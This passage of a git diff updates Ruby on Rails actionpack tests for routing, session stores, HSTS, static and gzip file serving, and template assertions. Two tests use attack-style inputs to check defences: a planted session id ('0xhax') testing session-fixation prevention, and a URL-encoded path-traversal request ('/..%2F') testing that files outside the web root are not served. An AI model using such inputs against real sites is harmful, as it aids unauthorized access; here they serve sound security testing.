+ get 'http://www.example.com/integer'
+ assert_response :not_found
+
+ get 'http://www.example.com:8080/integer'
+ assert_response :success
+ end
+
+ def test_string_port_constraints
+ get 'http://www.example.com/string'
+ assert_response :not_found
+
+ get 'http://www.example.com:8080/string'
+ assert_response :success
+ end
+
+ def test_array_port_constraints
+ get 'http://www.example.com/array'
+ assert_response :not_found
+
+ get 'http://www.example.com:8080/array'
+ assert_response :success
+ end
+
+ def test_regexp_port_constraints
+ get 'http://www.example.com/regexp'
+ assert_response :not_found
+
+ get 'http://www.example.com:8080/regexp'
+ assert_response :success
+ end
+end
+
+class TestFormatConstraints < ActionDispatch::IntegrationTest
+ Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+ app.draw do
+ ok = lambda { |env| [200, { 'Content-Type' => 'text/plain' }, []] }
+
+ get '/string', to: ok, constraints: { format: 'json' }
+ get '/regexp', to: ok, constraints: { format: /json/ }
+ get '/json_only', to: ok, format: true, constraints: { format: /json/ }
+ get '/xml_only', to: ok, format: 'xml'
+ end
+ end
+
+ include Routes.url_helpers
+ APP = build_app Routes
+ def app; APP end
+
+ def test_string_format_constraints
+ get 'http://www.example.com/string'
+ assert_response :success
+
+ get 'http://www.example.com/string.json'
+ assert_response :success
+
+ get 'http://www.example.com/string.html'
+ assert_response :not_found
+ end
+
+ def test_regexp_format_constraints
+ get 'http://www.example.com/regexp'
+ assert_response :success
+
+ get 'http://www.example.com/regexp.json'
+ assert_response :success
+
+ get 'http://www.example.com/regexp.html'
+ assert_response :not_found
+ end
+
+ def test_enforce_with_format_true_with_constraint
+ get 'http://www.example.com/json_only.json'
+ assert_response :success
+
+ get 'http://www.example.com/json_only.html'
+ assert_response :not_found
+
+ get 'http://www.example.com/json_only'
+ assert_response :not_found
+ end
+
+ def test_enforce_with_string
+ get 'http://www.example.com/xml_only.xml'
+ assert_response :success
+
+ get 'http://www.example.com/xml_only'
+ assert_response :success
+
+ get 'http://www.example.com/xml_only.json'
+ assert_response :not_found
+ end
+end
+
+class TestCallableConstraintValidation < ActionDispatch::IntegrationTest
+ def test_constraint_with_object_not_callable
+ assert_raises(ArgumentError) do
+ ActionDispatch::Routing::RouteSet.new.draw do
+ ok = lambda { |env| [200, { 'Content-Type' => 'text/plain' }, []] }
+ get '/test', to: ok, constraints: Object.new
+ end
+ end
+ end
+end
+
+class TestRouteDefaults < ActionDispatch::IntegrationTest
+ stub_controllers do |routes|
+ Routes = routes
+ Routes.draw do
+ resources :posts, bucket_type: 'post'
+ resources :projects, defaults: { bucket_type: 'project' }
+ end
+ end
+
+ APP = build_app Routes
+ def app
+ APP
+ end
+
+ include Routes.url_helpers
+
+ def test_route_options_are_required_for_url_for
+ assert_raises(ActionController::UrlGenerationError) do
+ assert_equal '/posts/1', url_for(controller: 'posts', action: 'show', id: 1, only_path: true)
+ end
+
+ assert_equal '/posts/1', url_for(controller: 'posts', action: 'show', id: 1, bucket_type: 'post', only_path: true)
+ end
+
+ def test_route_defaults_are_not_required_for_url_for
+ assert_equal '/projects/1', url_for(controller: 'projects', action: 'show', id: 1, only_path: true)
+ end
+end
+
+class TestRackAppRouteGeneration < ActionDispatch::IntegrationTest
+ stub_controllers do |routes|
+ Routes = routes
+ Routes.draw do
+ rack_app = lambda { |env| [200, { 'Content-Type' => 'text/plain' }, []] }
+ mount rack_app, at: '/account', as: 'account'
+ mount rack_app, at: '/:locale/account', as: 'localized_account'
+ end
+ end
+
+ APP = build_app Routes
+ def app
+ APP
+ end
+
+ include Routes.url_helpers
+
+ def test_mounted_application_doesnt_match_unnamed_route
+ assert_raise(ActionController::UrlGenerationError) do
+ assert_equal '/account?controller=products', url_for(controller: 'products', action: 'index', only_path: true)
+ end
+
+ assert_raise(ActionController::UrlGenerationError) do
+ assert_equal '/de/account?controller=products', url_for(controller: 'products', action: 'index', :locale => 'de', only_path: true)
+ end
+ end
+end
+
+class TestRedirectRouteGeneration < ActionDispatch::IntegrationTest
+ stub_controllers do |routes|
+ Routes = routes
+ Routes.draw do
+ get '/account', to: redirect('/myaccount'), as: 'account'
+ get '/:locale/account', to: redirect('/%{locale}/myaccount'), as: 'localized_account'
+ end
+ end
+
+ APP = build_app Routes
+ def app
+ APP
+ end
+
+ include Routes.url_helpers
+
+ def test_redirect_doesnt_match_unnamed_route
+ assert_raise(ActionController::UrlGenerationError) do
+ assert_equal '/account?controller=products', url_for(controller: 'products', action: 'index', only_path: true)
+ end
+
+ assert_raise(ActionController::UrlGenerationError) do
+ assert_equal '/de/account?controller=products', url_for(controller: 'products', action: 'index', :locale => 'de', only_path: true)
+ end
+ end
+end
+
+class TestUrlGenerationErrors < ActionDispatch::IntegrationTest
+ Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+ app.draw do
+ get "/products/:id" => 'products#show', :as => :product
+ end
+ end
+
+ APP = build_app Routes
+ def app; APP end
+
+ include Routes.url_helpers
+
+ test "url helpers raise a helpful error message when generation fails" do
+ url, missing = { action: 'show', controller: 'products', id: nil }, [:id]
+ message = "No route matches #{url.inspect} missing required keys: #{missing.inspect}"
+
+ # Optimized url helper
+ error = assert_raises(ActionController::UrlGenerationError){ product_path(nil) }
+ assert_equal message, error.message
+
+ # Non-optimized url helper
+ error = assert_raises(ActionController::UrlGenerationError, message){ product_path(id: nil) }
+ assert_equal message, error.message
+ end
+end
diff --git a/actionpack/test/dispatch/session/abstract_store_test.rb b/actionpack/test/dispatch/session/abstract_store_test.rb
index 8daf3d3f5e..fe1a7b4f86 100644
--- a/actionpack/test/dispatch/session/abstract_store_test.rb
+++ b/actionpack/test/dispatch/session/abstract_store_test.rb
@@ -42,7 +42,7 @@ module ActionDispatch
as.call(@env)
session1 = Request::Session.find @env
- refute_equal session, session1
+ assert_not_equal session, session1
assert_equal session.to_hash, session1.to_hash
end
diff --git a/actionpack/test/dispatch/session/cache_store_test.rb b/actionpack/test/dispatch/session/cache_store_test.rb
index b8479e8836..9f810cad01 100644
--- a/actionpack/test/dispatch/session/cache_store_test.rb
+++ b/actionpack/test/dispatch/session/cache_store_test.rb
@@ -148,16 +148,15 @@ class CacheStoreTest < ActionDispatch::IntegrationTest
def test_prevents_session_fixation
with_test_route_set do
- get '/get_session_value'
- assert_response :success
- assert_equal 'foo: nil', response.body
- session_id = cookies['_session_id']
+ assert_equal nil, @cache.read('_session_id:0xhax')
- reset!
+ cookies['_session_id'] = '0xhax'
+ get '/set_session_value'
- get '/set_session_value', :_session_id => session_id
assert_response :success
- assert_not_equal session_id, cookies['_session_id']
+ assert_not_equal '0xhax', cookies['_session_id']
+ assert_equal nil, @cache.read('_session_id:0xhax')
+ assert_equal({'foo' => 'bar'}, @cache.read("_session_id:#{cookies['_session_id']}"))
end
end
@@ -169,8 +168,8 @@ class CacheStoreTest < ActionDispatch::IntegrationTest
end
@app = self.class.build_app(set) do |middleware|
- cache = ActiveSupport::Cache::MemoryStore.new
- middleware.use ActionDispatch::Session::CacheStore, :key => '_session_id', :cache => cache
+ @cache = ActiveSupport::Cache::MemoryStore.new
+ middleware.use ActionDispatch::Session::CacheStore, :key => '_session_id', :cache => @cache
middleware.delete "ActionDispatch::ShowExceptions"
end
diff --git a/actionpack/test/dispatch/session/cookie_store_test.rb b/actionpack/test/dispatch/session/cookie_store_test.rb
index 1677dee524..c5cd24d06e 100644
--- a/actionpack/test/dispatch/session/cookie_store_test.rb
+++ b/actionpack/test/dispatch/session/cookie_store_test.rb
@@ -1,12 +1,11 @@
require 'abstract_unit'
require 'stringio'
-# FIXME remove DummyKeyGenerator and this require in 4.1
require 'active_support/key_generator'
class CookieStoreTest < ActionDispatch::IntegrationTest
SessionKey = '_myapp_session'
SessionSecret = 'b3c631c314c0bbca50c1b2843150fe33'
- Generator = ActiveSupport::DummyKeyGenerator.new(SessionSecret)
+ Generator = ActiveSupport::LegacyKeyGenerator.new(SessionSecret)
Verifier = ActiveSupport::MessageVerifier.new(SessionSecret, :digest => 'SHA1')
SignedBar = Verifier.generate(:foo => "bar", :session_id => SecureRandom.hex(16))
@@ -87,7 +86,7 @@ class CookieStoreTest < ActionDispatch::IntegrationTest
cookies[SessionKey] = SignedBar
get '/persistent_session_id'
assert_response :success
- assert_equal response.body.size, 32
+ assert_equal 32, response.body.size
session_id = response.body
get '/get_session_id'
@@ -248,7 +247,7 @@ class CookieStoreTest < ActionDispatch::IntegrationTest
cookies[SessionKey] = SignedBar
get '/persistent_session_id'
assert_response :success
- assert_equal response.body.size, 32
+ assert_equal 32, response.body.size
session_id = response.body
get '/persistent_session_id'
assert_equal session_id, response.body
@@ -264,7 +263,7 @@ class CookieStoreTest < ActionDispatch::IntegrationTest
get "/get_session_id"
sid = response.body
- assert_equal sid.size, 36
+ assert_equal 36, sid.size
get "/change_session_id"
assert_not_equal sid, response.body
@@ -276,7 +275,7 @@ class CookieStoreTest < ActionDispatch::IntegrationTest
# First request accesses the session
time = Time.local(2008, 4, 24)
Time.stubs(:now).returns(time)
- expected_expiry = (time + 5.hours).gmtime.strftime("%a, %d-%b-%Y %H:%M:%S GMT")
+ expected_expiry = (time + 5.hours).gmtime.strftime("%a, %d %b %Y %H:%M:%S -0000")
cookies[SessionKey] = SignedBar
@@ -290,7 +289,7 @@ class CookieStoreTest < ActionDispatch::IntegrationTest
# Second request does not access the session
time = Time.local(2008, 4, 25)
Time.stubs(:now).returns(time)
- expected_expiry = (time + 5.hours).gmtime.strftime("%a, %d-%b-%Y %H:%M:%S GMT")
+ expected_expiry = (time + 5.hours).gmtime.strftime("%a, %d %b %Y %H:%M:%S -0000")
get '/no_session_access'
assert_response :success
diff --git a/actionpack/test/dispatch/session/mem_cache_store_test.rb b/actionpack/test/dispatch/session/mem_cache_store_test.rb
index e53ce4195b..f7a06cfed4 100644
--- a/actionpack/test/dispatch/session/mem_cache_store_test.rb
+++ b/actionpack/test/dispatch/session/mem_cache_store_test.rb
@@ -1,4 +1,5 @@
require 'abstract_unit'
+require 'securerandom'
# You need to start a memcached server inorder to run these tests
class MemCacheStoreTest < ActionDispatch::IntegrationTest
@@ -48,6 +49,8 @@ class MemCacheStoreTest < ActionDispatch::IntegrationTest
assert_response :success
assert_equal 'foo: "bar"', response.body
end
+ rescue Dalli::RingError => ex
+ skip ex.message, ex.backtrace
end
def test_getting_nil_session_value
@@ -56,6 +59,8 @@ class MemCacheStoreTest < ActionDispatch::IntegrationTest
assert_response :success
assert_equal 'foo: nil', response.body
end
+ rescue Dalli::RingError => ex
+ skip ex.message, ex.backtrace
end
def test_getting_session_value_after_session_reset
@@ -75,6 +80,8 @@ class MemCacheStoreTest < ActionDispatch::IntegrationTest
assert_response :success
assert_equal 'foo: nil', response.body, "data for this session should have been obliterated from memcached"
end
+ rescue Dalli::RingError => ex
+ skip ex.message, ex.backtrace
end
def test_getting_from_nonexistent_session
@@ -84,6 +91,8 @@ class MemCacheStoreTest < ActionDispatch::IntegrationTest
assert_equal 'foo: nil', response.body
assert_nil cookies['_session_id'], "should only create session on write, not read"
end
+ rescue Dalli::RingError => ex
+ skip ex.message, ex.backtrace
end
def test_setting_session_value_after_session_reset
@@ -105,6 +114,8 @@ class MemCacheStoreTest < ActionDispatch::IntegrationTest
assert_response :success
assert_not_equal session_id, response.body
end
+ rescue Dalli::RingError => ex
+ skip ex.message, ex.backtrace
end
def test_getting_session_id
@@ -118,6 +129,8 @@ class MemCacheStoreTest < ActionDispatch::IntegrationTest
assert_response :success
assert_equal session_id, response.body, "should be able to read session id without accessing the session hash"
end
+ rescue Dalli::RingError => ex
+ skip ex.message, ex.backtrace
end
def test_deserializes_unloaded_class
@@ -132,6 +145,8 @@ class MemCacheStoreTest < ActionDispatch::IntegrationTest
assert_response :success
end
end
+ rescue Dalli::RingError => ex
+ skip ex.message, ex.backtrace
end
def test_doesnt_write_session_cookie_if_session_id_is_already_exists
@@ -144,6 +159,8 @@ class MemCacheStoreTest < ActionDispatch::IntegrationTest
assert_response :success
assert_equal nil, headers['Set-Cookie'], "should not resend the cookie again if session_id cookie is already exists"
end
+ rescue Dalli::RingError => ex
+ skip ex.message, ex.backtrace
end
def test_prevents_session_fixation
@@ -159,6 +176,8 @@ class MemCacheStoreTest < ActionDispatch::IntegrationTest
assert_response :success
assert_not_equal session_id, cookies['_session_id']
end
+ rescue Dalli::RingError => ex
+ skip ex.message, ex.backtrace
end
rescue LoadError, RuntimeError, Dalli::DalliError
$stderr.puts "Skipping MemCacheStoreTest tests. Start memcached and try again."
@@ -172,7 +191,7 @@ class MemCacheStoreTest < ActionDispatch::IntegrationTest
end
@app = self.class.build_app(set) do |middleware|
- middleware.use ActionDispatch::Session::MemCacheStore, :key => '_session_id'
+ middleware.use ActionDispatch::Session::MemCacheStore, :key => '_session_id', :namespace => "mem_cache_store_test:#{SecureRandom.hex(10)}"
middleware.delete "ActionDispatch::ShowExceptions"
end
diff --git a/actionpack/test/dispatch/session/test_session_test.rb b/actionpack/test/dispatch/session/test_session_test.rb
index 904398f563..d30461a623 100644
--- a/actionpack/test/dispatch/session/test_session_test.rb
+++ b/actionpack/test/dispatch/session/test_session_test.rb
@@ -2,8 +2,8 @@ require 'abstract_unit'
require 'stringio'
class ActionController::TestSessionTest < ActiveSupport::TestCase
- def test_ctor_allows_setting
- session = ActionController::TestSession.new({:one => 'one', :two => 'two'})
+ def test_initialize_with_values
+ session = ActionController::TestSession.new(one: 'one', two: 'two')
assert_equal('one', session[:one])
assert_equal('two', session[:two])
end
@@ -23,15 +23,21 @@ class ActionController::TestSessionTest < ActiveSupport::TestCase
end
def test_calling_update_with_params_passes_to_attributes
- session = ActionController::TestSession.new()
+ session = ActionController::TestSession.new
session.update('key' => 'value')
assert_equal('value', session[:key])
end
- def test_clear_emptys_session
- session = ActionController::TestSession.new({:one => 'one', :two => 'two'})
+ def test_clear_empties_session
+ session = ActionController::TestSession.new(one: 'one', two: 'two')
session.clear
assert_nil(session[:one])
assert_nil(session[:two])
end
+
+ def test_keys_and_values
+ session = ActionController::TestSession.new(one: '1', two: '2')
+ assert_equal %w(one two), session.keys
+ assert_equal %w(1 2), session.values
+ end
end
diff --git a/actionpack/test/dispatch/show_exceptions_test.rb b/actionpack/test/dispatch/show_exceptions_test.rb
index 45f8fc11b3..323fbc285e 100644
--- a/actionpack/test/dispatch/show_exceptions_test.rb
+++ b/actionpack/test/dispatch/show_exceptions_test.rb
@@ -8,8 +8,12 @@ class ShowExceptionsTest < ActionDispatch::IntegrationTest
case req.path
when "/not_found"
raise AbstractController::ActionNotFound
+ when "/bad_params"
+ raise ActionDispatch::ParamsParser::ParseError.new("", StandardError.new)
when "/method_not_allowed"
raise ActionController::MethodNotAllowed
+ when "/unknown_http_method"
+ raise ActionController::UnknownHttpMethod
when "/not_found_original_exception"
raise ActionView::Template::Error.new('template', AbstractController::ActionNotFound.new)
else
@@ -34,6 +38,10 @@ class ShowExceptionsTest < ActionDispatch::IntegrationTest
assert_response 500
assert_equal "500 error fixture\n", body
+ get "/bad_params", {}, {'action_dispatch.show_exceptions' => true}
+ assert_response 400
+ assert_equal "400 error fixture\n", body
+
get "/not_found", {}, {'action_dispatch.show_exceptions' => true}
assert_response 404
assert_equal "404 error fixture\n", body
@@ -41,6 +49,10 @@ class ShowExceptionsTest < ActionDispatch::IntegrationTest
get "/method_not_allowed", {}, {'action_dispatch.show_exceptions' => true}
assert_response 405
assert_equal "", body
+
+ get "/unknown_http_method", {}, {'action_dispatch.show_exceptions' => true}
+ assert_response 405
+ assert_equal "", body
end
test "localize rescue error page" do
@@ -80,6 +92,7 @@ class ShowExceptionsTest < ActionDispatch::IntegrationTest
exceptions_app = lambda do |env|
assert_kind_of AbstractController::ActionNotFound, env["action_dispatch.exception"]
assert_equal "/404", env["PATH_INFO"]
+ assert_equal "/not_found_original_exception", env["action_dispatch.original_path"]
[404, { "Content-Type" => "text/plain" }, ["YOU FAILED BRO"]]
end
diff --git a/actionpack/test/dispatch/spec_type_test.rb b/actionpack/test/dispatch/spec_type_test.rb
deleted file mode 100644
index 6cd19fd333..0000000000
--- a/actionpack/test/dispatch/spec_type_test.rb
+++ /dev/null
@@ -1,41 +0,0 @@
-require "abstract_unit"
-
-class SpecTypeTest < ActiveSupport::TestCase
- def assert_dispatch actual
- assert_equal ActionDispatch::IntegrationTest, actual
- end
-
- def refute_dispatch actual
- refute_equal ActionDispatch::IntegrationTest, actual
- end
-
- def test_spec_type_resolves_for_matching_acceptance_strings
- assert_dispatch MiniTest::Spec.spec_type("WidgetAcceptanceTest")
- assert_dispatch MiniTest::Spec.spec_type("Widget Acceptance Test")
- assert_dispatch MiniTest::Spec.spec_type("widgetacceptancetest")
- assert_dispatch MiniTest::Spec.spec_type("widget acceptance test")
- end
-
- def test_spec_type_wont_match_non_space_characters_acceptance
- refute_dispatch MiniTest::Spec.spec_type("Widget Acceptance\tTest")
- refute_dispatch MiniTest::Spec.spec_type("Widget Acceptance\rTest")
- refute_dispatch MiniTest::Spec.spec_type("Widget Acceptance\nTest")
- refute_dispatch MiniTest::Spec.spec_type("Widget Acceptance\fTest")
- refute_dispatch MiniTest::Spec.spec_type("Widget AcceptanceXTest")
- end
-
- def test_spec_type_resolves_for_matching_integration_strings
- assert_dispatch MiniTest::Spec.spec_type("WidgetIntegrationTest")
- assert_dispatch MiniTest::Spec.spec_type("Widget Integration Test")
- assert_dispatch MiniTest::Spec.spec_type("widgetintegrationtest")
- assert_dispatch MiniTest::Spec.spec_type("widget integration test")
- end
-
- def test_spec_type_wont_match_non_space_characters_integration
- refute_dispatch MiniTest::Spec.spec_type("Widget Integration\tTest")
- refute_dispatch MiniTest::Spec.spec_type("Widget Integration\rTest")
- refute_dispatch MiniTest::Spec.spec_type("Widget Integration\nTest")
- refute_dispatch MiniTest::Spec.spec_type("Widget Integration\fTest")
- refute_dispatch MiniTest::Spec.spec_type("Widget IntegrationXTest")
- end
-end
diff --git a/actionpack/test/dispatch/ssl_test.rb b/actionpack/test/dispatch/ssl_test.rb
index 6f075a9074..c3598c5e8e 100644
--- a/actionpack/test/dispatch/ssl_test.rb
+++ b/actionpack/test/dispatch/ssl_test.rb
@@ -37,6 +37,11 @@ class SSLTest < ActionDispatch::IntegrationTest
response.headers['Strict-Transport-Security']
end
+ def test_no_hsts_with_insecure_connection
+ get "http://example.org/"
+ assert_not response.headers['Strict-Transport-Security']
+ end
+
def test_hsts_header
self.app = ActionDispatch::SSL.new(default_app, :hsts => true)
get "https://example.org/"
@@ -47,7 +52,7 @@ class SSLTest < ActionDispatch::IntegrationTest
def test_disable_hsts_header
self.app = ActionDispatch::SSL.new(default_app, :hsts => false)
get "https://example.org/"
- refute response.headers['Strict-Transport-Security']
+ assert_not response.headers['Strict-Transport-Security']
end
def test_hsts_expires
@@ -57,6 +62,13 @@ class SSLTest < ActionDispatch::IntegrationTest
response.headers['Strict-Transport-Security']
end
+ def test_hsts_expires_with_duration
+ self.app = ActionDispatch::SSL.new(default_app, :hsts => { :expires => 1.year })
+ get "https://example.org/"
+ assert_equal "max-age=31557600",
+ response.headers['Strict-Transport-Security']
+ end
+
def test_hsts_include_subdomains
self.app = ActionDispatch::SSL.new(default_app, :hsts => { :subdomains => true })
get "https://example.org/"
@@ -112,6 +124,49 @@ class SSLTest < ActionDispatch::IntegrationTest
response.headers['Set-Cookie'].split("\n")
end
+
+ def test_flag_cookies_as_secure_with_has_not_spaces_before
+ self.app = ActionDispatch::SSL.new(lambda { |env|
+ headers = {
+ 'Content-Type' => "text/html",
+ 'Set-Cookie' => "problem=def; path=/;secure; HttpOnly"
+ }
+ [200, headers, ["OK"]]
+ })
+
+ get "https://example.org/"
+ assert_equal ["problem=def; path=/;secure; HttpOnly"],
+ response.headers['Set-Cookie'].split("\n")
+ end
+
+ def test_flag_cookies_as_secure_with_has_not_spaces_after
+ self.app = ActionDispatch::SSL.new(lambda { |env|
+ headers = {
+ 'Content-Type' => "text/html",
+ 'Set-Cookie' => "problem=def; path=/; secure;HttpOnly"
+ }
+ [200, headers, ["OK"]]
+ })
+
+ get "https://example.org/"
+ assert_equal ["problem=def; path=/; secure;HttpOnly"],
+ response.headers['Set-Cookie'].split("\n")
+ end
+
+ def test_flag_cookies_as_secure_with_ignore_case
+ self.app = ActionDispatch::SSL.new(lambda { |env|
+ headers = {
+ 'Content-Type' => "text/html",
+ 'Set-Cookie' => "problem=def; path=/; Secure; HttpOnly"
+ }
+ [200, headers, ["OK"]]
+ })
+
+ get "https://example.org/"
+ assert_equal ["problem=def; path=/; Secure; HttpOnly"],
+ response.headers['Set-Cookie'].split("\n")
+ end
+
def test_no_cookies
self.app = ActionDispatch::SSL.new(lambda { |env|
[200, {'Content-Type' => "text/html"}, ["OK"]]
@@ -141,6 +196,13 @@ class SSLTest < ActionDispatch::IntegrationTest
response.headers['Location']
end
+ def test_redirect_to_host_with_port
+ self.app = ActionDispatch::SSL.new(default_app, :host => "ssl.example.org:443")
+ get "http://example.org/path?key=value"
+ assert_equal "https://ssl.example.org:443/path?key=value",
+ response.headers['Location']
+ end
+
def test_redirect_to_secure_host_when_on_subdomain
self.app = ActionDispatch::SSL.new(default_app, :host => "ssl.example.org")
get "http://ssl.example.org/path?key=value"
diff --git a/actionpack/test/dispatch/static_test.rb b/actionpack/test/dispatch/static_test.rb
index 112f470786..7f1207eaed 100644
--- a/actionpack/test/dispatch/static_test.rb
+++ b/actionpack/test/dispatch/static_test.rb
@@ -1,6 +1,7 @@
# encoding: utf-8
require 'abstract_unit'
require 'rbconfig'
+require 'zlib'
module StaticTests
def test_serves_dynamic_content
@@ -36,7 +37,13 @@ module StaticTests
assert_html "/foo/index.html", get("/foo")
end
+ def test_serves_file_with_same_name_before_index_in_directory
+ assert_html "/bar.html", get("/bar")
+ end
+
def test_served_static_file_with_non_english_filename
+ jruby_skip "Stop skipping if following bug gets fixed: " \
+ "http://jira.codehaus.org/browse/JRUBY-7192"
assert_html "means hello in Japanese\n", get("/foo/#{Rack::Utils.escape("ã“ã‚“ã«ã¡ã¯.html")}")
end
@@ -104,6 +111,40 @@ module StaticTests
end
end
+ def test_serves_gzip_files_when_header_set
+ file_name = "/gzip/application-a71b3024f80aea3181c09774ca17e712.js"
+ response = get(file_name, 'HTTP_ACCEPT_ENCODING' => 'gzip')
+ assert_gzip file_name, response
+ assert_equal 'application/javascript', response.headers['Content-Type']
+ assert_equal 'Accept-Encoding', response.headers["Vary"]
+ assert_equal 'gzip', response.headers["Content-Encoding"]
+
+ response = get(file_name, 'HTTP_ACCEPT_ENCODING' => 'Gzip')
+ assert_gzip file_name, response
+
+ response = get(file_name, 'HTTP_ACCEPT_ENCODING' => 'GZIP')
+ assert_gzip file_name, response
+
+ response = get(file_name, 'HTTP_ACCEPT_ENCODING' => '')
+ assert_not_equal 'gzip', response.headers["Content-Encoding"]
+ end
+
+ def test_does_not_modify_path_info
+ file_name = "/gzip/application-a71b3024f80aea3181c09774ca17e712.js"
+ env = {'PATH_INFO' => file_name, 'HTTP_ACCEPT_ENCODING' => 'gzip'}
+ @app.call(env)
+ assert_equal file_name, env['PATH_INFO']
+ end
+
+ def test_serves_gzip_with_propper_content_type_fallback
+ file_name = "/gzip/foo.zoo"
+ response = get(file_name, 'HTTP_ACCEPT_ENCODING' => 'gzip')
+ assert_gzip file_name, response
+
+ default_response = get(file_name) # no gzip
+ assert_equal default_response.headers['Content-Type'], response.headers['Content-Type']
+ end
+
# Windows doesn't allow \ / : * ? " < > | in filenames
unless RbConfig::CONFIG['host_os'] =~ /mswin|mingw/
def test_serves_static_file_with_colon
@@ -123,21 +164,33 @@ module StaticTests
private
+ def assert_gzip(file_name, response)
+ expected = File.read("#{FIXTURE_LOAD_PATH}/#{public_path}" + file_name)
+ actual = Zlib::GzipReader.new(StringIO.new(response.body)).read
+ assert_equal expected, actual
+ end
+
def assert_html(body, response)
assert_equal body, response.body
assert_equal "text/html", response.headers["Content-Type"]
+ assert_nil response.headers["Vary"]
end
- def get(path)
- Rack::MockRequest.new(@app).request("GET", path)
+ def get(path, headers = {})
+ Rack::MockRequest.new(@app).request("GET", path, headers)
end
def with_static_file(file)
- path = "#{FIXTURE_LOAD_PATH}/public" + file
- File.open(path, "wb+") { |f| f.write(file) }
+ path = "#{FIXTURE_LOAD_PATH}/#{public_path}" + file
+ begin
+ File.open(path, "wb+") { |f| f.write(file) }
+ rescue Errno::EPROTO
+ skip "Couldn't create a file #{path}"
+ end
+
yield file
ensure
- File.delete(path)
+ File.delete(path) if File.exist? path
end
end
@@ -145,11 +198,42 @@ class StaticTest < ActiveSupport::TestCase
DummyApp = lambda { |env|
[200, {"Content-Type" => "text/plain"}, ["Hello, World!"]]
}
- App = ActionDispatch::Static.new(DummyApp, "#{FIXTURE_LOAD_PATH}/public", "public, max-age=60")
def setup
- @app = App
+ @root = "#{FIXTURE_LOAD_PATH}/public"
+ @app = ActionDispatch::Static.new(DummyApp, @root, "public, max-age=60")
+ end
+
+ def public_path
+ "public"
end
include StaticTests
+
+ def test_custom_handler_called_when_file_is_outside_root
+ filename = 'shared.html.erb'
+ assert File.exist?(File.join(@root, '..', filename))
+ env = {
+ "REQUEST_METHOD"=>"GET",
+ "REQUEST_PATH"=>"/..%2F#{filename}",
+ "PATH_INFO"=>"/..%2F#{filename}",
+ "REQUEST_URI"=>"/..%2F#{filename}",
+ "HTTP_VERSION"=>"HTTP/1.1",
+ "SERVER_NAME"=>"localhost",
+ "SERVER_PORT"=>"8080",
+ "QUERY_STRING"=>""
+ }
+ assert_equal(DummyApp.call(nil), @app.call(env))
+ end
+end
+
+class StaticEncodingTest < StaticTest
+ def setup
+ @root = "#{FIXTURE_LOAD_PATH}/公共"
+ @app = ActionDispatch::Static.new(DummyApp, @root, "public, max-age=60")
+ end
+
+ def public_path
+ "公共"
+ end
end
diff --git a/actionpack/test/dispatch/template_assertions_test.rb b/actionpack/test/dispatch/template_assertions_test.rb
new file mode 100644
index 0000000000..7278754b49
--- /dev/null
+++ b/actionpack/test/dispatch/template_assertions_test.rb
@@ -0,0 +1,110 @@
+require 'abstract_unit'
+
+class AssertTemplateController < ActionController::Base
+ def render_with_partial
+ render partial: 'test/partial'
+ end
+
+ def render_with_template
+ render 'test/hello_world'
+ end
+
+ def render_with_layout
+ @variable_for_layout = 'hello'
+ render 'test/hello_world', layout: "layouts/standard"
+ end
+
+ def render_with_file
+ render file: 'README.rdoc'
+ end
+
+ def render_nothing
+ head :ok
+ end
+end
+
+class AssertTemplateControllerTest < ActionDispatch::IntegrationTest
+ def test_template_reset_between_requests
+ get '/assert_template/render_with_template'
+ assert_template 'test/hello_world'
+
+ get '/assert_template/render_nothing'
+ assert_template nil
+ end
+
+ def test_partial_reset_between_requests
+ get '/assert_template/render_with_partial'
+ assert_template partial: 'test/_partial'
+
+ get '/assert_template/render_nothing'
+ assert_template partial: nil
+ end
+
+ def test_layout_reset_between_requests
+ get '/assert_template/render_with_layout'
+ assert_template layout: 'layouts/standard'
+
+ get '/assert_template/render_nothing'
+ assert_template layout: nil
+ end
+
+ def test_file_reset_between_requests
+ get '/assert_template/render_with_file'
+ assert_template file: 'README.rdoc'
+
+ get '/assert_template/render_nothing'
+ assert_template file: nil
+ end
+
+ def test_template_reset_between_requests_when_opening_a_session
+ open_session do |session|
+ session.get '/assert_template/render_with_template'
+ session.assert_template 'test/hello_world'
+
+ session.get '/assert_template/render_nothing'
+ session.assert_template nil
+ end
+ end
+
+ def test_partial_reset_between_requests_when_opening_a_session
+ open_session do |session|
+ session.get '/assert_template/render_with_partial'
+ session.assert_template partial: 'test/_partial'
+
+ session.get '/assert_template/render_nothing'
+ session.assert_template partial: nil
+ end
+ end
+
+ def test_layout_reset_between_requests_when_opening_a_session
+ open_session do |session|
+ session.get '/assert_template/render_with_layout'
+ session.assert_template layout: 'layouts/standard'
+
+ session.get '/assert_template/render_nothing'
+ session.assert_template layout: nil
+ end
+ end
+
+ def test_file_reset_between_requests_when_opening_a_session
+ open_session do |session|
+ session.get '/assert_template/render_with_file'
+ session.assert_template file: 'README.rdoc'
+
+ session.get '/assert_template/render_nothing'
+ session.assert_template file: nil
+ end
+ end
+
+ def test_assigns_do_not_reset_template_assertion
+ get '/assert_template/render_with_layout'
+ assert_equal 'hello', assigns(:variable_for_layout)
+ assert_template layout: 'layouts/standard'
+ end
+
+ def test_cookies_do_not_reset_template_assertion
+ get '/assert_template/render_with_layout'
+ cookies
+ assert_template layout: 'layouts/standard'
+ end
+end
diff --git a/actionpack/test/dispatch/test_request_test.rb b/actionpack/test/dispatch/test_request_test.rb
index 6047631ba3..65ad8677f3 100644
--- a/actionpack/test/dispatch/test_request_test.rb
+++ b/actionpack/test/dispatch/test_request_test.rb
@@ -18,7 +18,7 @@ class TestRequestTest < ActiveSupport::TestCase
assert_equal "0.0.0.0", env.delete("REMOTE_ADDR")
assert_equal "Rails Testing", env.delete("HTTP_USER_AGENT")
- assert_equal [1, 1], env.delete("rack.version")
+ assert_equal [1, 2], env.delete("rack.version")
assert_equal "", env.delete("rack.input").string
assert_kind_of StringIO, env.delete("rack.errors")
assert_equal true, env.delete("rack.multithread")
@@ -40,10 +40,10 @@ class TestRequestTest < ActiveSupport::TestCase
req.cookie_jar["login"] = "XJ-122"
assert_cookies({"user_name" => "david", "login" => "XJ-122"}, req.cookie_jar)
- assert_nothing_raised do
+ assert_nothing_raised do
req.cookie_jar["login"] = nil
assert_cookies({"user_name" => "david", "login" => nil}, req.cookie_jar)
- end
+ end
req.cookie_jar.delete(:login)
assert_cookies({"user_name" => "david"}, req.cookie_jar)
@@ -62,6 +62,36 @@ class TestRequestTest < ActiveSupport::TestCase
assert_equal false, req.env.empty?
end
+ test "default remote address is 0.0.0.0" do
+ req = ActionDispatch::TestRequest.new
+ assert_equal '0.0.0.0', req.remote_addr
+ end
